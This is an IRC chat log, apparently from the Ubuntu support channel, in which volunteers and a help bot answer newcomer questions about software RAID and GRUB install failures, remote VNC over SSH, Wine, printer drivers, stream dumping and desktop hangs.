[03:38] <r00tintheb0x> theherbalizer, thats where it stops?
[03:38] <ubotu> Sorry, I don't know anything about rdp - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:38] <ubotu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[03:38] <theherbalizer> r00tintheb0x: that's the last line
[03:38] <Goose> well i only need to run a few games
[03:38] <cables> Goose, Crossover and Cedega are all enhanced versions of wine
[03:38] <Goose> and if possible MSN
[03:38] <shaslap> hey, i am using the bcm43xx drivers and i can't seem to get dhcp to work and i have to reset my laptop to reconnect to the network, would i be better off using ndiswrapper?
[03:38] <cables> Goose, then you should check out Cedega... but check their game database to see if your games work with it.
[03:38] <r00tintheb0x> ok give me a min theherbalizer
[03:38] <Goose> Thanks man
[03:39] <rpc> cables is crossover a better choice for running win32 apps then?
[03:39] <sarixe> alright.  i was in here a few minutes ago, talking to blameless about setting up a better vnc server, while connected remotely.
[03:39] <theherbalizer> r00tintheb0x: that's what i was afeard of.
[03:39] <sarixe> blameless suggested i do it over ssh
[03:39] <r00tintheb0x> but whats weird theherbalizer is that it works when its already up
[03:39] <r00tintheb0x> so i dont see how it could be a bad motherboard.
[03:39] <r00tintheb0x> :\
[03:39] <sarixe> and so i installed an ssh server, which i'm connected to right now.
[03:39] <theherbalizer> r00tintheb0x: indeed.
[03:39] <hobbes487> theherbalizer: fyi.  unplugging all usb devices worked
[03:40] <theherbalizer> r00tintheb0x: will this help?  http://i69.photobucket.com/albums/i72/dissonance_ms/DSC00128.jpg
[03:40] <greig__> Nope, I still cant boot from the Live CD
[03:40] <cables> rpc, appdb.winehq.org has a list of Windows apps and how well they work with wine (free). But you may need to go with Cedega, Crossover, or Windows running in a VM for some programs... the latter can't run 3D accelerated apps though.
[03:40] <Evil_`> I can't hear anyone in TS....could it be a problem with ubuntu? -- I can still hear things on websites and stuff though
[03:40] <sax> If an app asks for OpenGL 2.0, what package do I install?
[03:40] <sarixe> so i close the connection to my vnc server, which i think is alright for now... but now i can't get back on it.
[03:40] <r00tintheb0x> yes maybe so theherbalizer ... give me a min.
[03:40] <rpc> cables thank you!
[03:40] <epi> No evil.
[03:40] <theherbalizer> will do.
[03:40] <sarixe> any help?
[03:40] <r00tintheb0x> theherbalizer, are you registered here on freenode?
[03:40] <Evil_`> hmm, any idea why it isn't working?
[03:40] <epi> Almost certainly not.
[03:40] <tbuss> I've done some research for a driver for a canon i950, the only thing i have found that seems to work is turboprint. Does anyone have any suggestions on what else I can use to get my printer to work
[03:40] <cables> sarixe, sounds like a server-end problem
[03:40] <theherbalizer> r00tintheb0x: i don't believe so, nickserv never pesters me
[03:41] <yell0w> sax, maybe aptitude search opengl ?
[03:41] <Ashfire908> Hello
[03:41] <kane`> hello
[03:41] <sarixe> cables: i see that... but any ideas on how to start the vnc server from the ssh?
[03:41] <djm> how can i get the forward and back buttons on my mouse to work?
[03:41] <r00tintheb0x> ok... join this chan for me #rootinthebox
[03:41] <r00tintheb0x> too much cross talk here.
[03:41] <epi> Why is this OS advocated so much if it doesnt support raid?
[03:41] <sax> yell0w: am doing
[03:41] <Athensman> will ubuntu run fine on a 366 celeron and 256 ram
[03:41] <sarixe> damn! where did cables go...
[03:41] <r00tintheb0x> epi, it does.
[03:41] <Goose> lol
[03:42] <sax> no luck...
[03:42] <r00tintheb0x> i have 2 servers with software raid 5 on them.
[03:42] <r00tintheb0x> ubuntu
[03:42] <epi> Thats amazing considering it doesnt have RMraid
[03:42] <r00tintheb0x> theherbalizer, join #rootinthebox
[03:42] <theherbalizer> r00tintheb0x: what are you using for software raid?
[03:42] <r00tintheb0x> ubuntu edgy theherbalizer
[03:42] <yell0w> sax google it and manual install then
[03:42] <r00tintheb0x> mdadm
[03:42] <epi> Ive tryed countless times to install this with 2 SATA hds in raid 1.
[03:42] <epi> And it hangs on "grub loading" at startup each time
[03:42] <sarixe> alright... so i'm stuck connected to my computer through ssh only... anyone know how to actually start a vnc server remotely, preferably tightvnc?
[03:42] <theherbalizer> r00tintheb0x: joined
[03:42] <Athensman> will ubuntu run fine on a 366 celeron and 256 ram
[03:43] <epi> Ive partitioned the (#$@*$ thing everywhich way I can think of
[03:43] <Goose> Athensman
[03:43] <epi> Its formated on both drives for NTFS
[03:43] <Goose> it says minimum 256 RAM on the Cd
[03:43] <yell0w> sarixe, sudo /etc/init.d/tightvnc start ?
[03:43] <Goose> dunno bout 366 celeron
[03:43] <tbuss> looking for a driver for a canon i950
[03:43] <sarixe> yell0w: will do
[03:43] <yell0w> sarixe, might want to tab a couples of times
[03:43] <epi> I honestly cant think of a single goddamn thing. Then I see that they didnt bother to include RMraid on the live CD. Wonderful.
[03:43] <yell0w> woops!
[03:44] <michael_> So Azureus was working get on Ubuntu 6.10 except it wouldn't minimize to systray. So I decided to update the jar file in /usr/share/java, replacing it with one of those on the azureus site. But when I start Azureus I get this error: http://pastie.caboo.se/49205
[03:44] <r00tintheb0x> theherbalizer, are you booting or
[03:44] <ardchoille> !ohmy | epi
[03:44] <ubotu> epi: Please watch your language and keep this channel family friendly.
[03:44] <michael_> Oh wait
[03:44] <michael_> the jar file was "Azureus.jar" instead of "Azureus2.jar" -- whoops, never mind
[03:45] <tbuss> looking for canon i950 driver install help
[03:45] <epi> Well, I was stupid enough to let my friend talk me into thinking this was OS wonderland so I deserve it. Unfortunately I have no choice but to keep trying as I dont have a blank CD-R or XP disc anywhere nearby.
[03:45] <bruenig> tbuss, canon's are iffy
[03:46] <sax> Weehooo!! I gots cinelerra!
[03:46] <sarixe> yell0w: alright, i tried that, but there are no init scripts for vnc whatsoever, at least in /etc/init.d
[03:46] <greig__> bruenig : are u busy atm?
[03:46] <Ashfire908> anyone have a solution to this? http://www.ubuntuforums.org/showthread.php?t=391878
[03:46] <yell0w> sarixe, if you have vino running that should be /vino-server start
[03:46] <tbuss> bruenig: ive got turboprint installed free edition. looking something that doesnt cost
[03:46] <bruenig> greig__, no what you got
[03:46] <sarixe> yell0w: alright, trying
[03:46] <sarixe> btw, any way to keep bitchx open while going back to the command line?
[03:46] <yell0w> sarixe, for tightvnc the name might be different, just type T then tab
[03:47] <elita> hi guys - just wondering, I'm trying to setup a cronjob to automagically change my background every 30 minutes but for some reason xsetbg doesn't seem to change the background :(
[03:47] <Romexios> !telnet
[03:47] <ubotu> telnet is not safe. Please use ssh instead. See !ssh
[03:47] <happy_nic> the wget man page says setting "-O -" will output the file I get to stdout. this doesn't work for me. Am I reading this wrong?
[03:47] <sarixe> yell0w there's no tightvnc init script
[03:47] <greig__> bruenig : i tried to boot from teh live cd to sort my partitions out, but for some reason it wont boot from cd
[03:47] <Romexios> !ssh
[03:47] <ubotu> SSH is the Secure SHell protocol. See https://help.ubuntu.com/community/SSHHowto for usage. Putty is a nice SSH client for Windows; it can be found at http://www.chiark.greenend.org.uk/~sgtatham/putty/
[03:47] <rpc> !sftp
[03:47] <Ashfire908> got a stupid question
[03:47] <ubotu> Sorry, I don't know anything about sftp - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:47] <bruenig> greig__, something may be wrong with the cd, are you sure you have bios set to boot from cd first
[03:47] <sarixe> yell0w: anyway, brb
[03:48] <Ashfire908> does ubuntu have a windows emulator for programs
[03:48] <elita> (and xsetbg doesn't return with any errors either, even echo $? returns '0'
[03:48] <greig__> bruenig : i choose option 1 correct? then it boots with the usual boot screen then it seems when it loads the screen just goes blank
[03:48] <clem_> Ashfire908: wine
[03:48] <hanasaki> I setup samba however its not showing up in nautilus network neighborhood or windows.... the logs sya it became the domain master but thats it... nothing else
[03:48] <tbuss> bruenig: I'm new to linux, does this mean I will need to purchase a new printer because Canon's don't work with linux
[03:48] <epi> Corrupt disc?
[03:48] <bruenig> greig__, get the gparted live cd, and burn that, it is small and will work
[03:48] <chuckf> Ashfire908, wine
[03:48] <Ashfire908> chuckf, [09:48:20 PM]  <clem_> Ashfire908: wine
[03:48] <bruenig> tbuss, I just know canon is iffy, certainly some people must use them
[03:49] <epi> No tbuss, but god forbid you have raided HD's.
[03:49] <greig__> bruenig : ok, where could i get that from? i think the ubuntu disk shouldnt be corrupt, only installed it 2 - 3 days ago.
[03:49] <bruenig> greig__, google gparted live cd
[03:49] <greig__> bruenig : thanks;)
[03:49] <tbuss> epi: very useful info, god forbid you should be smart enough to actually help
[03:50] <epi> Apologies, temper is affecting me.
[03:50] <bruenig> !raid
[03:50] <ubotu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[03:50] <lufis> epi:Does somebody need a massage? :(
[03:50] <epi> Yes bruenig, but rebuilding a kernal really doesnt seem the most elegant of solutions.
[03:51] <elita> *sigh*
[03:51] <bruenig> epi, deraid your hd
[03:51] <epi> Hmmm...
[03:51] <epi> How badly will that affect the speed?
[03:51] <bruenig> what really do you get out of that on a desktop
[03:52] <bruenig> I mean a server, ok, but a desktop, you are just being a show off
[03:52] <Ashfire908> uh
[03:52] <Ashfire908> how do i get wine
[03:52] <epi> ...Ok.
[03:52] <bruenig> Ashfire908, in the ubuntu repositories
[03:52] <lufis> Ashfire908: Firstly, are you 21 or older?
[03:52] <xaos> !cloning
[03:52] <ubotu> To replicate your packages selection on another machine (or restore it if re-installing), you can type "dpkg --get-selections > ~/my-packages", move the file "my-packages" to the other machine, and there type "sudo dpkg --set-selections < my-packages && apt-get dselect-upgrade" - See also !automate
[03:53] <epi> Its on Nforce, is this as simple as disabling it on the bios?
[03:53] <elita> What tool in ubuntu can be used to set the background of the desktop from the /command line/
[03:53] <clem_> lufis: why ?
[03:53] <Ashfire908> Lucifel, har har
[03:53] <crdlb> elita, gconftool-2
[03:53] <Ashfire908> gha
[03:53] <xaos> !chbg
[03:53] <chuckf> Ashfire908, the easiest way that I have found is through automatix, however I think the ubuntu repos are decent at this point
[03:53] <elita> crdlb: danke.
[03:53] <ubotu> chbg: tool for changing the desktop background image in X11. In component universe, is optional. Version 1.5-8 (edgy), package size 243 kB, installed size 968 kB
[03:53] <lufis> clem_: Sorry, just a little lame humor there :P
[03:54] <Ashfire908> chuckf, i started using ubuntu two days ago
[03:54] <clem_> lufis: oh ok.. I suppose it's 3am here in Ireland.. didn't get it at first, sorry man :)
[03:54] <lufis> :P
[03:54] <Ashfire908> no clue what you are talking about
[03:54] <epi> repositories
[03:54] <clem_> actually.. now would be a good time to go to bed. See you guys.
[03:54] <chuckf> Ashfire908, good for you!
[03:55] <epi> !raid
[03:55] <ubotu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[03:55] <linuxgx> link to visual effects please
[03:55] <bruenig> !beryl
[03:55] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[03:55] <tbuss> Ashfire908: http://ubuntuguide.org/wiki/Ubuntu:Edgy
[03:55] <crdlb> elita, gconftool-2 -t string -s /desktop/gnome/background/picture_filename /path/to/bg.png
[03:56] <linuxgx> i need the ubuntu visual effects server
[03:56] <Romexios> I want to connect to my eggdrop using ssh.. how do i tell it which port? ssh myip.. Then?
[03:56] <Supaplex> linuxgx: see what ubotu said last.
[03:56] <Supaplex> Romexios: it's in the ssh man page, that's all I recall.
[03:57] <crdlb> linuxgx, is it working?
[03:57] <epi> Bruenig, is it easier to re-establish the Raid after the install?
[03:57] <linuxgx> yes can we do a private chat i dont want to fill the main forum
[03:58] <bruenig> epi, I don't know
[03:58] <bruenig> !pm
[03:58] <ubotu> Please ask your questions in the channel so that other people can also benefit. Please don't PM a user in the channel without asking first, some find it rude.
[03:58] <crdlb> linuxgx, just come back to #ubuntu-effects
[03:58] <billytwowilly> so how would I download something that starts with rtsp:// ?
[03:59] <bruenig> billybob, I believe that is realplayer stream
[03:59] <billytwowilly> I think it's quicktime.
[03:59] <bruenig> well I know the point of it is to make it harder to download
[03:59] <jrib> billytwowilly: if mplayer can play it, use -dumpstream
[04:00] <Lucifel> Can anyone help me get beyond a tan screen that's blank except for a cursor when I log in to gdm?
[04:00] <billytwowilly> bruenig: ok, how would I download it though? I want a copy.
[04:00] <bruenig> or harder to download and save to disk I should say
[04:00] <mjr> it doesn't have to be able to play it, the stream can be dumped anyway
[04:00] <chuckf> billytwowilly, rtsp is a streaming protocol
[04:00] <mjr> and making it harder to download is not the point really
[04:00] <MykaM> VLC would prolly open rtsp
[04:00] <billytwowilly> jso I'd go mplayer -dumpstream rtsp://blahblah ?
[04:00] <Lucifel> I've tried Ctrl+Alt+BackSp and sudo /etc/init.d/gdm restart
[04:00] <mlawrence> Lucifel, I'm getting the same issue, on a fresh install of the feisty beta.
[04:00] <bruenig> then what is the point
[04:00] <mjr> billytwowilly, yeah (and -dumpfile foo if you don't like the default name stream.dump)
[04:01] <KalleDK> What jey is <super> ??
[04:01] <KalleDK> *key
[04:01] <bruenig> KalleDK, the windows key
[04:01] <KalleDK> ah thx
[04:01] <mjr> bruenig, the point is that it's a protocol more suitable for streaming than the TCP-based http for example
[04:01] <xaos> !kinit
[04:01] <epi> Can somone do me a favour and tell me what typing "find /boot/grub/stage1" yields for them?
[04:01] <ubotu> Sorry, I don't know anything about kinit - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:01] <bruenig> how so
[04:01] <xaos> !mdam
[04:01] <ubotu> Sorry, I don't know anything about mdam - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:02] <billytwowilly> so is it normal for mplayer to not give download progress or play the file?
[04:02] <epi> (in the terminal)
[04:02] <Lucifel> mlawrence: does it work correctly upon restart?
[04:02] <chuckf> epi, /boot/grub/stage1
[04:02] <bruenig> epi, it just returns that, do you mean in the grub prompt?
[04:03] <mjr> billytwowilly, it is, when you use -dumpstream
[04:03] <billzybub> hey kids
[04:03] <Ashfire> how can i get wine downloaded without useing linux
[04:03] <mlawrence> No, it hasn't worked for me since I installed, unfortunately. I had the same issue on Edgy, and had been hoping that upgrading would fix it.
[04:03] <chuckf> Ashfire, why would you want to?
[04:03] <mjr> billytwowilly, it'll exit when it's played. And the nature of rtsp is that the dump will take about as long as it takes to play the video
[04:03] <mlawrence> Well, not so much upgrading as a fresh install of Feisty.
[04:03] <epi> http://www.ubuntuforums.org/showthread.php?t=224351
[04:03] <epi> Im doing what that tells me.
[04:03] <Ashfire> don't have a choice
[04:03] <bruenig> epi, in the grub prompt, it would return hd (0,0)
[04:04] <bruenig> epi, for me at least, but it might be different for you, it is the partition that it is installed on
[04:04] <billytwowilly> mjr: so if it isn't ending it's still dumping? I see this error: Linux RTC init error in ioctl (rtc_irqp_set 1024): Permission denied
[04:04] <epi> It doesnt though, just says Error 15: File not found
[04:04] <bruenig> epi, well you have to have ubuntu installed, do you?
[04:04] <billzybub> i need help gettin firefox to play certain videos, youtube and google work well but stuff from cnn.com and others just give me a black box. Any recomendations?
[04:04] <Rolenun_> using Ubuntu 6.10, autoconf 2.60-1, automake 1.9.6-4, during autoconf, getting error: error: possibly undefined macro: AC_MSG_ERROR. If this token and others are legitimate, please use m4_pattern_allow. See the Autoconf documentation. Autogen failed. Suggestions?
[04:04] <epi> This didnt occur to me.
[04:04] <jrib> !restricted > billzybub    (billzybub, see the private message from ubotu)
[04:04] <chuckf> epi, did you do the 'sudo grub' step?
[04:04] <mjr> billytwowilly, that's just mplayer whining a bit, not significant. You should see the file steadily increasing in size whereever you ran mplayer.
[04:04] <vitalstatistix> anyone here with a geforce go 6400?
[04:04] <epi> Yep chuckf.
[04:05] <Ashfire> how can i get wine downloaded without useing linux
[04:05] <Toma-> Ashfire: ...what?
[04:05] <vitalstatistix> or a geforce go 6200
[04:05] <chuckf> epi, I got '(hd0,2)' from that command
[04:05] <jrib> Ashfire: for what purpose?  If you just want the source, wine probably has tarballs or a repository where you can check out the source
[04:05] <billzybub> thanks ubotu :D
[04:05] <chuckf> epi, at the grub menu
[04:06] <mlawrence> Lucifel: gonna give restarting another try, back in a couple minutes
[04:06] <bruenig> Ashfire, http://archive.ubuntu.com/ubuntu/pool/universe/w/wine/wine_0.9.33-0ubuntu1_i386.deb
[04:06] <epi> Ok im in grub.
[04:06] <epi> Says grub, prior to allowing me to type anything in the terminal (im assuming thats what you mean by menu)
[04:07] <bruenig> epi, right and do the find command
[04:07] <Ashfire> no source
[04:07] <Ashfire> just the thing
[04:07] <epi> unrecognised command
[04:07] <bruenig> epi, sudo grub
[04:07] <Ashfire> i need wine before i can run the program that i use to connect to the internet with
[04:08] <epi> Error 27: Unrecognized command
[04:08] <epi> grub> /boot/grub/stage1
[04:08] <acacianadept> I downloaded and unpacked imwheel to configure my mouse, and it's registered in the synaptic package manager.  I can't figure out how to get it to run so I can configure my mouse, however, and I still haven't figured out how to install things.  Can anyone help me?  I'm very new to Linux...
[04:08] <chuckf> epi, type in 'find /boot/grub/stage1' without the quotes
[04:09] <epi> Error 15: File not found
[04:09] <epi> Im running off the Live CD, but only because I cant install.
[04:09] <epi> Though I suspect that is what is behind the terminal playing up.
[04:10] <chuckf> epi, that is why
[04:10] <mlawrence> Hmm, it appears that a reboot made it somewhat better. Now I'm getting the default gnome wallpaper and blank bars at the top and bottom of the screen, but no icons on the desktop.
[04:10] <chuckf> epi, why can't you install?
[04:10] <epi> Yah, but it wont let me install ubuntu, when I put it on sda0, at startup it simply hangs on "grub loading".
[04:10] <bruenig> epi, you have ubuntu installed though right?
[04:11] <epi> Nope, I cant, it wont let me for above reason.
[04:11] <hobbes487> did anyone else have a problem the resolution of the screen after installing?  The desktop on my install is shifted over to the right
[04:11] <Ashfire> oh
[04:11] <Ashfire> lol
[04:11] <Ashfire> reajust
[04:11] <Ashfire> if it's a lcd use auto
[04:11] <bruenig> epi, if you don't have ubuntu installed, that command won't work because grub won't be installed
[04:11] <epi> Ok :(
[04:12] <hobbes487> its a projector
[04:12] <bruenig> epi, grub should install itself when you install ubuntu
[04:12] <chuckf> well I'm off to bed. Night all
[04:12] <Ashfire> night
[04:12] <hobbes487> i cant shift it with the projector
[04:12] <epi> night chuck
[04:12] <epi> But It wont let me, it either produces an error 21/22 or just hangs at startup saying "grub loading..."
[04:13] <epi> I got told this was due to the 2 Sata "raided" HD's.
[04:13] <eylisian> epi, will the live CD detect and mount the sd0 device?
[04:13] <eylisian> ooooooooh. or any detected sd devices?
[04:13] <epi> Mount? I can see the partition clearly on the Gnome partition device.
[04:14] <eylisian> under the live cd?
[04:14] <epi> Sorry could you tell me how to check?
[04:14] <epi> yah on the live CD, im using it at the min to talk to you.
[04:14] <felixhummel> !apt
[04:14] <ubotu> APT is the Advanced Package Tool, which together with dpkg forms the basic Ubuntu package management toolkit. Short apt-get manual: https://help.ubuntu.com/community/AptGetHowto - Also see !Synaptic (Gnome) or !Adept (KDE)
[04:14] <eylisian> nice =)
[04:14] <felixhummel> acacianadept, see !apt ;)
[04:14] <eylisian> so, the partition huh?
[04:14] <epi> Nice in the same way a car-crash is fun, yes.
[04:15] <eylisian> if it's raid there will be 2 sd devices sd
[04:15] <eylisian> are there 2 drives in the machine?
[04:15] <mlawrence> Anyone have any idea why gnome would hang with just the wallpaper and bottom/top bars blank?
[04:15] <wastrel> xvidtune
[04:15] <mtb-cliff> hi, does any one know why the software update indicates that the latest updates are from a server that can't be authenticated?
[04:15] <epi> I have 2 sdb HD's showing on the gnome partition editor
[04:16] <wastrel> mlawrence:  gnome panel and nautilus crashed?
[04:16] <eylisian> ok. 2 sdb's is 2 partitions on one drive.
[04:16] <wastrel> hobbes487:  xvidtune maybe
[04:16] <epi> Ahh...2HD's in the machine though.
[04:16] <eylisian> no sda around?
[04:16] <eylisian> ok.
[04:16] <jrib> !xhangs | mlawrence
[04:16] <epi> Sorry!
[04:16] <ubotu> mlawrence: If the GUI hangs after logging in, use <ctrl><alt><f1> to switch to text mode. Log in and do: rm .{X,ICE}authority
[04:16] <epi> 2 SDA's.
[04:16] <epi> not sbd's.
[04:16] <eylisian> so is there a hardware raid controller?
[04:16] <epi> Its on the Nforce i think.
[04:17] <hobbes487> wastre:  how do i do that?
[04:17] <fqh> hi,I find a interesting website, "www.ie7.com"
[04:17] <wastrel> hobbes487:  type "xvidtune" on the commandline
[04:17] <bruenig> !offtopic | fqh
[04:17] <ubotu> fqh: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[04:17] <cables> They seem to have taken the GParted LiveCD out of the LiveCD in Feisty beta. What's with that?
[04:17] <cables> sorry, i put LiveCD in there one too many times :)
[04:17] <epi> Eh?
[04:17] <jaamarti> which email server is easier to setup, exim4 or postfix?
[04:17] <Romexios> when i type PS x.. I get this: 29439 pts/2    S      0:00 ./eggdrop Amoreto.conf.. what does the S mean?
[04:17] <wastrel> postfix <3
[04:17] <wastrel> depends on what you want to do
[04:18] <vince_> is there a way to get all the buttons of my logitech mx1000 to work?
[04:18] <eylisian> epi: sounds like the installer is getting fouled up by either a hw raid controller or the way the partitions on each drive are being set up for raid. they have to mirror on an other for raid 1.
[04:18] <mlawrence> Hah, I tried removing the .Xauthority and .ICEauthority files and restarting gdm, and now I'm stuck with a blank background and a white box in the top-left of the screen (post login).
[04:18] <KalleDK> Haha how do you fold in beryl.. I kinda unfolded the cube and now I would like to fold it again
[04:19] <wastrel> mlawrence:  that's a terminal :] 
[04:19] <bruenig> KalleDK, #ubuntu-effects
[04:19] <mjr> Romexios, it's the process state; S means it's in interruptible sleep, that is, waiting for something (probably data from the network to react to)
[04:19] <mlawrence> wastrel: It's a terminal I can't type in. :P
[04:19] <mtb-cliff> unauthenticated software servers - anyone?
[04:19] <jaamarti> I thought I had postfix configured properly, but I can't get it to send mail outside of my localhost.  I guess I will google some guides to help me figure out where my config is screwy...  thanks wastrel...
[04:19] <KalleDK> Well I cant really do anything except shortcuts
[04:19] <wastrel> mlawrence:  try putting the mouse cursor in the terminal
[04:19] <eternaljoy> i just saw a Beryl demo.  Looks rather wild :)
[04:19] <epi> Possible solutions?
[04:19] <Ax3> can anyone tell me the path to the "tcllib"
[04:19] <Ax3> ?
[04:19] <mlawrence> wastrel: I have, but still don't get a cursor, and typing doesn't echo anything.
[04:19] <bruenig> mtb-cliff, get the key, generally they will tell you the key at the same site you get the repo from
[04:20] <eylisian> epi: raid/lvm can be non-trivial to set up at times and at a minimum takes a couple of failures to get going. There are solutions, yes.
[04:20] <mtb-cliff> thanks bruenig
[04:20] <epi> Im just short of going out and buying any bloody operating system in the world at this point, I need this for work.
[04:20] <wastrel> well that's just a dilly of a pickle
[04:20] <mtb-cliff> bruenig - where do I find the key?
[04:20] <bruenig> epi, I will sell you some ubuntu disks if you want to buy an OS
[04:20] <epi> Thanks man.
[04:20] <bruenig> mtb-cliff, what is the repo?
[04:21] <mlawrence> Yeah, it's a bit of a pain. I think Ubuntu just doesn't want to play nicely on this machine.
[04:21] <wastrel> mlawrence:  does the mouse pointer move?
[04:21] <mlawrence> wastrel: Yep, it does, but it's about the only thing that responds there.
[04:21] <eylisian> epi: d00d hang on. I do have some nifty links somewhere on raid/lvm
[04:21] <epi> Thanks :)
[04:21] <philip> is there a nice GUI frontend for PARchive files? (I know about Quickpar in WINE)
[04:21] <mtb-cliff> bruenig - backports server and the automatix2 server
[04:21] <bruenig> !automatix | mtb-cliff
[04:21] <ubotu> mtb-cliff: automatix is a script that tries to install some software, and often fails and breaks systems. We don't provide support for it, and we strongly discourage its use. Problems caused by Automatix are often hard to track and solve, and it might sometimes be easier to !install a fresh copy of Ubuntu. See also !WorksForMe
[04:21] <eylisian> epi: one sec if you are interested... ok. brb.
[04:21] <bruenig> mtb-cliff, backports doesn't need a key
[04:22] <slashjamiec> I need some help.. i updated my repositories, and changed them to third party. and when i "sudo apt-get install life" it doesn't work for me. What am i doing wrong?!
[04:22] <bruenig> !info life
[04:22] <ubotu> Package life does not exist in edgy, edgy-backports, edgy-seveas
[04:22] <katani> Does anybody have any suggestions for a good, linux-compatible PCI Wifi card?
[04:22] <theharbalizer> r00tintheb0x: well... didn't work.
[04:22] <bruenig> slashjamiec, is life in one of your third party repos?
[04:22] <Ax3> can anyone tell me the path to the "tcl lib" ?
[04:22] <skazy> hello my frends
[04:22] <slashjamiec> bruenig: i really need a life..
[04:22] <skazy> soy de mexico
[04:23] <r00tintheb0x> damn theharbalizer did it get to the same place?
[04:23] <hanasaki> I have samba running but hte shares arent showing in nautilus.. and they show but wont mount in pyNeighborhood
[04:23] <bruenig> slashjamiec, so this is a joke
[04:23] <theharbalizer> r00tintheb0x: but now also my nvidia driver is completely dead, and i have no idea how to ressurect it
[04:23] <jrib> Ax3: did you install tcllib?
[04:23] <skazy> alguien aqui puede hablar espaol
[04:23] <slashjamiec> bruenig: i don't think LIFE is in my repo's, but i want a life.
[04:23] <epi> lol bruenig...
[04:23] <r00tintheb0x> dead?!
[04:23] <r00tintheb0x> lol
[04:23] <slashjamiec> bruenig: Yeah :p
[04:23] <theharbalizer> r00tintheb0x: yeah, same place
[04:23] <r00tintheb0x> no, just boot into the kernel it worked on theharbalizer
[04:23] <wastrel> !es | skazy
[04:23] <ubotu> skazy: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[04:23] <bruenig> slashjamiec, well hidden with the third party repo
[04:23] <Ax3> jrib: i didn't, i don't know much about what tcl is, im just trying to build the 'eggdrop' file
[04:23] <skazy> you speak spanish?
[04:23] <r00tintheb0x> did you try changing IRQ's theharbalizer ?
[04:23] <slashjamiec> bluenig: Thanks :P ... hehehe
[04:23] <mtb-cliff> bruenig,  ubotu - do I enter !WorksForMe at the command prompt? I don't know recognize the lingo
[04:23] <Ax3> jrib: it wouldn't let me ./configure completely cuz it couldn't find the path to tcl lib
[04:23] <jrib> Ax3: are you using APT to install eggdrop?
[04:23] <theharbalizer> r00tintheb0x: couldn't find anywhere in the bios to change USB irq
[04:24] <slashjamiec> !findmea life
[04:24] <bruenig> !worksforme | mtb-cliff
[04:24] <mlawrence> wastrel: Guess you're out of ideas?
[04:24] <eylisian> epi: http://dev.jerryweb.org/raid/
[04:24] <ubotu> Sorry, I don't know anything about findmea life - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:24] <ubotu> mtb-cliff: Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[04:24] <slashjamiec> !FIND-ME-A-LIFE
[04:24] <ubotu> Sorry, I don't know anything about find-me-a-life - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:24] <bruenig> mtb-cliff, basically what ubotu is telling you is that we don't provide support for automatix
[04:24] <Ax3> jrib: no i went to their site, apt has it, but i couldn't figure out where eggdrop.conf was
[04:24] <r00tintheb0x> damn theharbalizer the only thing i can sugguest is remove the USB hub when you reboot
[04:24] <jrib> slashjamiec: do you have a support question?
[04:24] <r00tintheb0x> i'd have to be in front of it to hack it into working.
[04:24] <mtb-cliff> !worksforme|mtb-cliff
[04:24] <epi> err....
[04:24] <slashjamiec> jrib: no, i help out people too :)
[04:24] <theharbalizer> r00tintheb0x: yeah, looks like that's what im gonna have to do
[04:24] <wastrel> mlawrence:  i'm not feeling very creative this evening.  sleep deprived and in pain
[04:24] <bruenig> mtb-cliff, ubotu doesn't like it when you direct factoids at yourself in the channel
[04:24] <theharbalizer> r00tintheb0x: thanks for your help, though
[04:24] <mtb-cliff> !worksforme | mtb-cliff
[04:24] <epi> Are IDE and SETA effectively the same for the purposes of ubuntu?
[04:24] <jaamarti> wastrel, I think I found the error.. in my main.cf I had myorigin left as the default instaed of pointing to $mydomain...
[04:24] <bruenig> what did I just tell you
[04:25] <r00tintheb0x> yeah, its gotta be something w/IRQ's im guessing theharbalizer because it works once you're booted.
[04:25] <katani> epa: No, they both have different drivers
[04:25] <r00tintheb0x> you're welcome, im sorry i couldn't be of more help;
[04:25] <katani> err epi
[04:25] <mellery> how can i remove some files inside a rar file without unraring and reraring?
[04:25] <theharbalizer> r00tintheb0x: yeah, works perfectly once i'm all booted.
[04:25] <bruenig> mtb-cliff, but seriously, we don't provide support for automatix, since your only problem is automatix authentication, unless you have something else...
[04:25] <mlawrence> wastrel: I appreciate the attempt to help. I had the same issue with Edgy and with Feisty herd 5, so I think that gnome just hates me. Maybe I'll try Kubuntu.
[04:25] <theharbalizer> r00tintheb0x: also, do you know anything about installing nvidia drivers?
[04:25] <refi> When browsing an ftp site with nautilus... is there a way to get it to download the file you try to open before it tries to launch the app associated with it? Right now the behavior is just to pass the ftp URL
[04:25] <jrib> slashjamiec: seems that you get an example one at /usr/share/doc/eggdrop-data/examples/eggdrop.conf.gz which you cna modify to your wishes
[04:25] <r00tintheb0x> yes theharbalizer whats the problem w/yours?
[04:25] <jrib> Ax3: seems that you get an example one at /usr/share/doc/eggdrop-data/examples/eggdrop.conf.gz which you cna modify to your wishes
[04:25] <mtb-cliff> oh - I missed his comment when I tried typing it in to the command shell,.
[04:25] <vince_> is there a way to get all the buttons of my logitech mx1000 to work?
[04:25] <slashjamiec> jrib: is this for a life? :D
[04:25] <mtb-cliff> thanks, gents.
[04:26] <theharbalizer> r00tintheb0x: X kewrnel is different from nvidia driver version, or something along those lines
[04:26] <epi> katani?
[04:26] <Ax3> jrib: wow! how in the heck did you find that?
[04:26] <bruenig> vince_, there is, look in the forums, I know I saw something on that
[04:26] <eylisian> epi: just ran across this. http://www.ubuntu-in.org/wiki/SATA_RAID_Howto
[04:26] <theharbalizer> r00tintheb0x: i have another cameraphone screencap, if youi'd like
